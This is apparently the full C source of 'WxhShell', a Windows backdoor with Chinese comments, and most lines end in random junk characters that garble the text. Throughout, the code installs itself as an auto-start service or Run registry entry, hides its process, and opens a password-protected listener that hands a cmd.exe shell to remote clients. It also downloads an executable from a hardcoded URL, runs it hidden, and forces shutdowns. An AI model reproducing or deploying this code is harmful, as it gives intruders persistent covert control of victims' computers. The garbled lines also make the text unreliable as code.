    } rwep e5  
  // 关机 .(8eWc YK  
  case 'd': { |oJ R+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9w,u4q  
    if(Boot(SHUTDOWN)) U})Z4>[bvt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pNR69/wGi  
    else { &>o?0A6  
    closesocket(wsh); r$.v"Wh)  
    ExitThread(0); TANt*r7  
    } <S%kwS  
    break; /2PsC*y  
    } jF%[.n[BU  
  // 获取shell V{G9E  
  case 's': { * E3 c--  
    CmdShell(wsh); O1K~]Nt  
    closesocket(wsh); z;En Ay{9  
    ExitThread(0); Sk,9<@  
    break; #T8$NZA  
  } 5&*B2ZBzH  
  // 退出 0Ku%9wh-  
  case 'x': { ?*8HZ1m#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~_Mz05J-\_  
    CloseIt(wsh); qP0_#l&  
    break; S4Vv _k-&  
    } J]|lCwF  
  // 离开 5=.EngG  
  case 'q': { +vtI1LC;_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); : Gz#4k  
    closesocket(wsh); b(~ gQM  
    WSACleanup(); #TX=%x6  
    exit(1); <KDl2>O  
    break; Uwqm?]  
        } pQ Y.MZSA  
  } q:1_D>  
  } txwTJScg  
^f,('0p- >  
  // 提示信息 Y Hv85y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KD~F5aS`[  
} 1!E+(Iq  
  } ,{{uRs/  
.baS mfc  
  return; Xx0}KJ q~"  
} h,V#V1>Hu  
~4mgYzOmD`  
// shell模块句柄 hsQrHs'k  
int CmdShell(SOCKET sock) nV0"q|0K;  
{ sS$- PX C  
STARTUPINFO si; uv2!][  
ZeroMemory(&si,sizeof(si)); M,Px.@tw.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?~a M<rcZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; URW'*\Xjb  
PROCESS_INFORMATION ProcessInfo; t p.qh]2c  
char cmdline[]="cmd"; {=,?]Z+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eb)S<%R/  
  return 0; >Tld:  
} +mP3 y~|-j  
$s hlNW\  
// 自身启动模式 qx"?')+  
int StartFromService(void) Qko}rd_M  
{ 'Z7oPq6  
typedef struct g2hxWf"  
{ ~`{HWmah  
  DWORD ExitStatus; flLC\   
  DWORD PebBaseAddress; KW.S)+<H&  
  DWORD AffinityMask; }tU<RvT  
  DWORD BasePriority; t9PS5O ;  
  ULONG UniqueProcessId;  -[a0\H  
  ULONG InheritedFromUniqueProcessId; .J~iRhVOF  
}   PROCESS_BASIC_INFORMATION; f$k#\=2%  
*kxk@(lT?  
PROCNTQSIP NtQueryInformationProcess; )E^4\3 ^:  
EG0NikT?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3;j?i<kM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Lt&P 5BY  
$<]y.nr|CX  
  HANDLE             hProcess; b9OT~i=S|  
  PROCESS_BASIC_INFORMATION pbi; "31GC7  
B\}E v&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }{Lf 4|8  
  if(NULL == hInst ) return 0; C>@~W(IE  
ag?@5q3J}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i[^?24~ c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T_,LK7D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'mug,jM  
eF}Q8]da  
  if (!NtQueryInformationProcess) return 0; FWdSpaas Q  
z0HCmj9T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tc\^=e^N?  
  if(!hProcess) return 0; !HqIi@>8  
42Vy#t/HC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "`,PLC  
PKfxL}:"8  
  CloseHandle(hProcess); oRy?Dx+H  
rEdr8qw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c.,:r X0S  
if(hProcess==NULL) return 0; N(}7M~m>  
w_,.  
HMODULE hMod; KL.{)bi  
char procName[255]; rgIJ]vmy<H  
unsigned long cbNeeded; >}O1lsjW:z  
YIfPE{,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zG@9-s* L  
/ vje='[!  
  CloseHandle(hProcess); \E?1bc{\f  
I LF"m;  
if(strstr(procName,"services")) return 1; // 以服务启动 4VaUa8 D  
D}cq_|mmn[  
  return 0; // 注册表启动 _ZzPy;[i?  
} i3;Z:,A4NN  
1oj7R7  
// 主模块 B Ibcm,YQ  
int StartWxhshell(LPSTR lpCmdLine) ?*,N ?s(U  
{ %~^R Iwm  
  SOCKET wsl; kc|`VB8L  
BOOL val=TRUE; *qY`MW  
  int port=0; 5 ;dg#hO  
  struct sockaddr_in door; z O$SL8U  
Lkk'y})/  
  if(wscfg.ws_autoins) Install(); N;-+)=M,rf  
CL9p/PJ%e  
port=atoi(lpCmdLine); 6$)Yqg`X  
 9<[RXY  
if(port<=0) port=wscfg.ws_port; #5G!lbH  
XuR!9x^5  
  WSADATA data; B{s[SZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rI; e!EW  
MV9{>xX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r1ctW#\~8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R\0]\JEc  
  door.sin_family = AF_INET; "M_X9n_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Z)||MR"  
  door.sin_port = htons(port); 7ou2SL}k  
y7d)[d*Mz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zMtK_ccQ  
closesocket(wsl); <&l3bL  
return 1; ,W*<e-  
} OX|/yw8  
KQ3)^J_Z  
  if(listen(wsl,2) == INVALID_SOCKET) { .HZYSY:X  
closesocket(wsl); e *;"$7o9  
return 1; {l *ps-fi  
} #MGZje,I  
  Wxhshell(wsl); /,E%)K;  
  WSACleanup(); IO^O9IEx,  
7:M%w'oR  
return 0; (zJ TBI'  
DNki xE*  
} .o|Gk 5)  
eg?vYW  
// 以NT服务方式启动 En5I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xiA9X]FB  
{ Fo?2nQ<  
DWORD   status = 0; {r'#(\  
  DWORD   specificError = 0xfffffff; iOki ZN+d>  
l<7 b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p+9vSM #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z33w A?9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z%*ZmF^K  
  serviceStatus.dwWin32ExitCode     = 0; \zj8| +  
  serviceStatus.dwServiceSpecificExitCode = 0; 4~G9._  
  serviceStatus.dwCheckPoint       = 0; n]9y Cr  
  serviceStatus.dwWaitHint       = 0; Bj%{PK  
V-7!)&q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;"joebZ/  
  if (hServiceStatusHandle==0) return; s`H}NjWx  
HpNf f0c  
status = GetLastError(); 3ufUB^@4v  
  if (status!=NO_ERROR) Fm [,u  
{ nBGk%NM 8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 47 m:z5;  
    serviceStatus.dwCheckPoint       = 0; #MOEY|6  
    serviceStatus.dwWaitHint       = 0; q ,}W.  
    serviceStatus.dwWin32ExitCode     = status; 9O@ eJ$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0%'&s)#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \!G&:<h  
    return; q1NAKcA<U  
  } bX5>qqB]  
l4r09"S|V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?N$  
  serviceStatus.dwCheckPoint       = 0; /o8h1L=  
  serviceStatus.dwWaitHint       = 0; ]_F%{8|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zr oj-3-X~  
} s:;!QIC5jo  
:[\}Hn=  
// 处理NT服务事件,比如:启动、停止 pjHUlQ   
VOID WINAPI NTServiceHandler(DWORD fdwControl) &#;UKk~)Of  
{ bnUd !/;  
switch(fdwControl) |910xd`Z  
{ f5d"H6%L  
case SERVICE_CONTROL_STOP: d;;]+%  
  serviceStatus.dwWin32ExitCode = 0; lh8`.sWk4V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /lAt&0  
  serviceStatus.dwCheckPoint   = 0; h7I_{v8  
  serviceStatus.dwWaitHint     = 0; obaJT"1  
  { KQQR"[z&V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s?E7tmaM  
  } vPSH  
  return; [T~O%ly7x&  
case SERVICE_CONTROL_PAUSE: eN N%%Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ou8@7S  
  break; >8>`-  
case SERVICE_CONTROL_CONTINUE: VJZ   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NaB8cLURp  
  break; &``;1/J*W  
case SERVICE_CONTROL_INTERROGATE: ']A+wGR&r  
  break; !t~S.`vF  
}; ykX}T6T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}  eZX  
} l)=Rj`M  
c?>Q!sC  
// 标准应用程序主函数 KuE 2a,E4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Aw9^}k}UfD  
{ (Dq3e9fX  
f=g/_R2$xN  
// 获取操作系统版本 ,MuLu,$/  
OsIsNt=GetOsVer(); p24sWDf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yz\z Qj  
yxLGseD  
  // 从命令行安装 rkG*0#k  
  if(strpbrk(lpCmdLine,"iI")) Install(); @j5W4HU  
tezsoR!.ak  
  // 下载执行文件 ?Z*LTsPr  
if(wscfg.ws_downexe) { G5bi,^G7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y@_ i32,r  
  WinExec(wscfg.ws_filenam,SW_HIDE); UH.M)br  
} ZMy7z|  
.+|G`*1<i  
if(!OsIsNt) { )MmMs"Um  
// 如果时win9x,隐藏进程并且设置为注册表启动 p,$1%/m  
HideProc(); >77 /e@  
StartWxhshell(lpCmdLine); c*HS#C7'2  
} tiI>iP`!  
else ]^/:Xsk$  
  if(StartFromService()) .kBi" p&  
  // 以服务方式启动 !`)-seTm  
  StartServiceCtrlDispatcher(DispatchTable); -"<H$  
else P[% W[E<  
  // 普通方式启动 9 )e`mO*n  
  StartWxhshell(lpCmdLine); `f8{ ^Rau  
zp,f}  
return 0; vA;ml$  
} :*)~nPVV  
~EpMO]I  
V0c*M>V  
,BOB &u  
=========================================== XDz![s  
,#`gwtFG  
Apa)qRJd  
_ZC4O&fL  
.G?7t6A  
y%v<Cp@R  
" 1CFrV=d  
QE=Cum  
#include <stdio.h> T5Sa9\`>  
#include <string.h> 9Rb-QI  
#include <windows.h> k2j:s}RHY  
#include <winsock2.h> i8Yl1nF  
#include <winsvc.h> =LZj6'  
#include <urlmon.h> F, %qG,  
](x4q  
#pragma comment (lib, "Ws2_32.lib") N 2L/A  
#pragma comment (lib, "urlmon.lib") cx1U6A+  
+}I[l,,xy  
#define MAX_USER   100 // 最大客户端连接数 hG2btmBht  
#define BUF_SOCK   200 // sock buffer c zL[W2l   
#define KEY_BUFF   255 // 输入 buffer ;]i&AAbj  
>Y1?`  
#define REBOOT     0   // 重启 r*0a43mC1  
#define SHUTDOWN   1   // 关机 fP&F$"o8  
slOki|p;  
#define DEF_PORT   5000 // 监听端口 y@nWa\i G  
;=5V)1~i1;  
#define REG_LEN     16   // 注册表键长度 E@JxY  
#define SVC_LEN     80   // NT服务名长度 N#bWMZ"  
!jU<(eY  
// 从dll定义API 4CW/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e,Gv~ae9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wkdd&Nw;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6pLB`1[v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ":Kn@S'{(  
N`8!h:yL  
// wxhshell配置信息 KQJn\#>  
struct WSCFG { l^u P?l"  
  int ws_port;         // 监听端口 3+EJ%  
  char ws_passstr[REG_LEN]; // 口令 +LV'E#h!Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no -E2[PW4$  
  char ws_regname[REG_LEN]; // 注册表键名 ]vXIj0:  
  char ws_svcname[REG_LEN]; // 服务名 p87s99  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >m:.5][yu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zj<oh8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <^~Xnstl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "<v_fF<Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d#ya"e>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "2HRuqf  
~9kvC&/{[  
}; ` eND3c  
)_GM&-  
// default Wxhshell configuration wju~5  
struct WSCFG wscfg={DEF_PORT, `DG6ollp{  
    "xuhuanlingzhe", at,Xad\j  
    1, Wq<>a;m  
    "Wxhshell", pcur6:8W!  
    "Wxhshell", Co[[6pt~  
            "WxhShell Service", @ RTQJ+ms  
    "Wrsky Windows CmdShell Service", J:?t.c~$o  
    "Please Input Your Password: ", 2O<S ig=  
  1, jph~ g*Z  
  "http://www.wrsky.com/wxhshell.exe", puZ<cV e/  
  "Wxhshell.exe" .7ahz8v  
    }; EOtrrfT&  
ua|qL!L+  
// 消息定义模块 _N/]&|.. !  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^}/YGAA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; II>X6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _9!Ru!u~  
char *msg_ws_ext="\n\rExit."; RVI],O  
char *msg_ws_end="\n\rQuit."; P%ZWm=lg  
char *msg_ws_boot="\n\rReboot..."; )@R:$l86  
char *msg_ws_poff="\n\rShutdown..."; "MoV*U2s,  
char *msg_ws_down="\n\rSave to "; 5Hr(9)  
JGj_{|=:  
char *msg_ws_err="\n\rErr!"; /R|"/B0  
char *msg_ws_ok="\n\rOK!"; B1nb23SY T  
hZ2PP ^  
char ExeFile[MAX_PATH]; v|{*y  
int nUser = 0; -)y"EJ(N  
HANDLE handles[MAX_USER]; A: 0] n  
int OsIsNt; _x UhDu%  
t&eD;lg :  
SERVICE_STATUS       serviceStatus; ~RvU+D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f1=8I_>=  
\F1n Ej  
// 函数声明 TUpEh Q+*  
int Install(void); h$ZF[Xbfe  
int Uninstall(void); &v 5yo}s  
int DownloadFile(char *sURL, SOCKET wsh); l_,8_u7G  
int Boot(int flag); 4?%0z) g  
void HideProc(void); nF=Ig-NX^  
int GetOsVer(void); jU4Ir {f  
int Wxhshell(SOCKET wsl); 29av8eW?3  
void TalkWithClient(void *cs); 3_33@MM  
int CmdShell(SOCKET sock); HH+rib'u  
int StartFromService(void); Uj!L:u2b  
int StartWxhshell(LPSTR lpCmdLine); jBE= Ij  
VJ=!0v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 58v5Z$%--  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |#-Oz#Eg'  
[Xz7.<0#U  
// 数据结构和表定义 niA{L:4  
SERVICE_TABLE_ENTRY DispatchTable[] = G 8NSBaZe  
{ /,:32H  
{wscfg.ws_svcname, NTServiceMain}, 8=2)I.   
{NULL, NULL} %"KBX~3+Kj  
}; c69C=WQ  
DD~8:\QD  
// 自我安装 @NyCMe;]  
int Install(void) D2?7=5DgS  
{ a(J~:wgd  
  char svExeFile[MAX_PATH]; D!@c,H  
  HKEY key; 90ORx\Oeo  
  strcpy(svExeFile,ExeFile); PMTyiwlm  
sF<4uy  
// 如果是win9x系统,修改注册表设为自启动 `q5*VqIhs  
if(!OsIsNt) { #K4wO!d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XDI@ mQmzB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |bBYJ  
  RegCloseKey(key); |5FyfDaFBX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZM)a4h,kcm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Aq UT]l  
  RegCloseKey(key); z{%G  
  return 0; YHAy+S  
    } /sYD+*a  
  }  F-ijGGL#  
} )D#*Q~   
else { 7Y$p3]0e+  
Qb SX'mx<  
// 如果是NT以上系统,安装为系统服务 Wm"W@LPx5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M VsIyP  
if (schSCManager!=0) ND I|;   
{ YxsW Y7J  
  SC_HANDLE schService = CreateService ^WVr@6  
  ( hZyz5aZ)K  
  schSCManager, U`:$1*(`  
  wscfg.ws_svcname, p~M^' k=d  
  wscfg.ws_svcdisp, M~wJe@bc  
  SERVICE_ALL_ACCESS, Jj([O2Eq$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gE:qMs;  
  SERVICE_AUTO_START, rt."P20T  
  SERVICE_ERROR_NORMAL, SFh6'v'1N@  
  svExeFile, +=:CW'B5  
  NULL, 3g} ]nj:N  
  NULL, ^Dd$8$?[  
  NULL, W**a\[~$  
  NULL, d7l0;yR&+  
  NULL eyUo67'7  
  ); M3x%D)*  
  if (schService!=0) WzZb-F  
  { 8wwD\1pLS  
  CloseServiceHandle(schService); [['un\~r~  
  CloseServiceHandle(schSCManager); qL3*H\9N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e6]u5;B r  
  strcat(svExeFile,wscfg.ws_svcname); A<AZs~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lB3W|-Ci  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LUJKR6oT{>  
  RegCloseKey(key); +MXI;k_  
  return 0; /1g_Uv;  
    } -Vw,9VCF  
  } 41,Mt  
  CloseServiceHandle(schSCManager); ] S]F&B M|  
} i!jx jP  
}  s y#CR4X  
^P\(IDJCo  
return 1; pT.iQ J|  
}  I=|b3-  
fY$M**/,  
// 自我卸载 A2g +m  
int Uninstall(void) 7k{C'\m  
{ ojUBa/  
  HKEY key; Mb uD8B  
?nCG:\&;'=  
if(!OsIsNt) { s9@/(_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4tof[n3us  
  RegDeleteValue(key,wscfg.ws_regname); Y6 &w0~?!  
  RegCloseKey(key); k*[["u^u]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % sbDH  
  RegDeleteValue(key,wscfg.ws_regname); M)#aX|%Mh  
  RegCloseKey(key); G!uoKiL  
  return 0; uL\ B[<:  
  } AK} wSXF  
} "VRcR  
} 4(f[Z9 iZ]  
else { YJ3aJ^m#E  
OV_Y`u7YR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D ]:sR  
if (schSCManager!=0) |^[]Oy=  
{ #;# V1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mw-0n  
  if (schService!=0) (i^{\zv  
  { -1 ;BwlL  
  if(DeleteService(schService)!=0) { #HfvY}[o  
  CloseServiceHandle(schService); 1>r7s*  
  CloseServiceHandle(schSCManager); B\G?dmo  
  return 0; ;!v2kVuS]  
  } *BF5B\[r?  
  CloseServiceHandle(schService); yZj:Kp+7  
  } 6sJN@dFA  
  CloseServiceHandle(schSCManager); n,q+EZd  
} .DiH)  
} 4C\>JGZvq  
K[!OfP  
return 1; ]3u ErnI  
} /7/d u[P6  
4 |9M8ocR  
// 从指定url下载文件 [p^N].K$  
int DownloadFile(char *sURL, SOCKET wsh) DK;p6_tT  
{ ~za=yZo7(  
  HRESULT hr; ?5_~Kn%2  
char seps[]= "/"; (LbAP9Zj#f  
char *token; BQu_)@  
char *file; uLX5khQ  
char myURL[MAX_PATH]; QV,X> !Nz  
char myFILE[MAX_PATH]; VJmX@zX9  
4wk-f7I(  
strcpy(myURL,sURL); B8 ;jRY  
  token=strtok(myURL,seps); ^ ]02)cK  
  while(token!=NULL) t{Ck"4Cg  
  { >{?~cNO&  
    file=token; Y /$`vgqs  
  token=strtok(NULL,seps); (N{Rda*8  
  } Fr_esx  
#-*7<wN   
GetCurrentDirectory(MAX_PATH,myFILE); D;VQoO  
strcat(myFILE, "\\"); 3C'`K ,  
strcat(myFILE, file); 3NAU|//J  
  send(wsh,myFILE,strlen(myFILE),0); r!:W-Y%&#  
send(wsh,"...",3,0); H'7AIY }  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s3@sX_2  
  if(hr==S_OK) QFt7L  
return 0; b~dm+5W7  
else & 9X`tCnL  
return 1; A`_(L|~  
y"q7Gx*^j  
} DID&fj9m  
jR-DH]@y  
// 系统电源模块 tgoOzk^  
int Boot(int flag) <{ !^  
{ WvSh i=  
  HANDLE hToken; _%^t[4)q  
  TOKEN_PRIVILEGES tkp; X{KWBk.1  
y Nb&;E7 H  
  if(OsIsNt) { 'D#iT}Vu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b[p<kMTir  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f[v~U<\R  
    tkp.PrivilegeCount = 1; 8&snLOU -Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cx$C+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {g9?Eio^F^  
if(flag==REBOOT) { ~um+r],@@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L$zI_ z  
  return 0; Bfhw0v]Z  
} 0_b7*\xc  
else { kcT?<r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d.y2`wT  
  return 0; qZRx,^gd  
} _|%pe]St  
  } E-h`lDoJ  
  else {  yH_L<n  
if(flag==REBOOT) { o %#Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `L0aQ$'>z  
  return 0; SR>Sq2cW0  
} *;A I0  
else { KI(9TI *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9D74/3b*  
  return 0; cGSoAK  
} _nu %`?Va  
} ]P/eg$u'I  
o?A/  
return 1; cyUNJw  
} /Z<"6g?  
^9T6Ix{=  
// win9x进程隐藏模块 TSu^.K  
void HideProc(void)  |u 8hxa  
{ M (dVY/ i  
_@D}2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uYjJDLYoHl  
  if ( hKernel != NULL ) <LM<,  
  { AfvTStwr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;aYPv8s~,:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^EU& 6M2  
    FreeLibrary(hKernel); @ [_I|  
  } ^5vFF@to  
CaNZScnZ  
return; z79L2lJn  
} U@[P.y~J  
2^Gl;3  
// 获取操作系统版本 S |T:rc(~  
int GetOsVer(void) z.23i^Q  
{ AG) N^yd  
  OSVERSIONINFO winfo; QQ@, v@j5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vja' :i  
  GetVersionEx(&winfo); #V-qS/ q"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RLY Ae  
  return 1; xMg&>}5  
  else HCQv"i}-  
  return 0; q p|T,D%  
} ^8)&~q*  
R@>R@V>c  
// 客户端句柄模块 )Y~q6D K  
int Wxhshell(SOCKET wsl) Sw#Ez-X  
{ S|;a=K&hS  
  SOCKET wsh; 0<{/T*AU:  
  struct sockaddr_in client; M4M 4*o  
  DWORD myID; 9In&vF7$  
9}X3Q!iFb  
  while(nUser<MAX_USER) Hk2@X(  
{ 3f's>+,#%  
  int nSize=sizeof(client); O|,+@qtH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F-k1yZ?^  
  if(wsh==INVALID_SOCKET) return 1; pvy;L[c  
&g,K5at  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); doc5;?6   
if(handles[nUser]==0) ^'QcP5Fv  
  closesocket(wsh); < Q\`2{  
else  g/+M&k$  
  nUser++; avO+1<`4B  
  } /dOQ4VA\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %9mB4Fc6b)  
ygpC1nN  
  return 0; spO?5#  
} ^ bM;C_<$f  
1I3u~J3]/  
// 关闭 socket 9[T#uh!DC  
void CloseIt(SOCKET wsh) m)_1->K  
{ q(.%f3(  
closesocket(wsh); ]CC~Eo-%-  
nUser--; 3{MIBMA  
ExitThread(0); O-T/H-J`  
} jn}6yXB  
Rz=]KeZu  
// 客户端请求句柄 fY%Sw7ql<  
void TalkWithClient(void *cs) MiRH i<g0  
{ iXl1S[.l  
aE{b65'Dt  
  SOCKET wsh=(SOCKET)cs; w5|@vB/pj  
  char pwd[SVC_LEN]; AU'{aC+p  
  char cmd[KEY_BUFF]; |xKB><  
char chr[1]; P\zi:]h[Gh  
int i,j; k}T~N.0  
ui 2RTAb  
  while (nUser < MAX_USER) { 3&' STPpW  
Q ;k_q3  
if(wscfg.ws_passstr) { T}!7LNE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t&r?O dc&m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3"L$*toRA  
  //ZeroMemory(pwd,KEY_BUFF); /=r&9P@Ay<  
      i=0; aO<d`DTyJ  
  while(i<SVC_LEN) { #='#`5_5  
$(CHwG-  
  // 设置超时 q0c)pxD%`  
  fd_set FdRead; T >-F~?7Sv  
  struct timeval TimeOut; czZ-C +}%  
  FD_ZERO(&FdRead); (U.&[B  
  FD_SET(wsh,&FdRead); ^9{ 2  
  TimeOut.tv_sec=8; El+]}D"  
  TimeOut.tv_usec=0; 3QR-8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M]_vb,=1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QiRzA4-zq  
V&}Z# 9Dx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pEaH^(I*  
  pwd=chr[0]; EhVnt#`Si  
  if(chr[0]==0xd || chr[0]==0xa) { x)Th2es\  
  pwd=0; QB@*/Le   
  break; dkn_`j\v  
  } ^al SyJ`  
  i++; ]D]K_`!K  
    } d[Fsp7U}  
9,>M/_8>  
  // 如果是非法用户,关闭 socket &a(w0<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iH$N HfH  
} D@ lJ^+  
n&Tv]-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V('b|gsEo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a* D|$<V  
"bO]  
while(1) { a&cV@~  
Bh.'%[',  
  ZeroMemory(cmd,KEY_BUFF); TDseWdA  
qqAsh]Z  
      // 自动支持客户端 telnet标准   jGWLYI=V2  
  j=0; s1FBz)yCY=  
  while(j<KEY_BUFF) { |UaI i^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Af%?WZlOq  
  cmd[j]=chr[0]; -Tt}M#W   
  if(chr[0]==0xa || chr[0]==0xd) { m6 gr!aT  
  cmd[j]=0; 0CR;t`M@  
  break; #}Cwn$  
  } GhT7:_r~  
  j++; 0k>&MkM\^  
    } K_xOY *  
:tgTYIF  
  // 下载文件 0T5>i 0/  
  if(strstr(cmd,"http://")) { W7 E-j+2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S .jjB  
  if(DownloadFile(cmd,wsh)) ~_&.A*Jh  
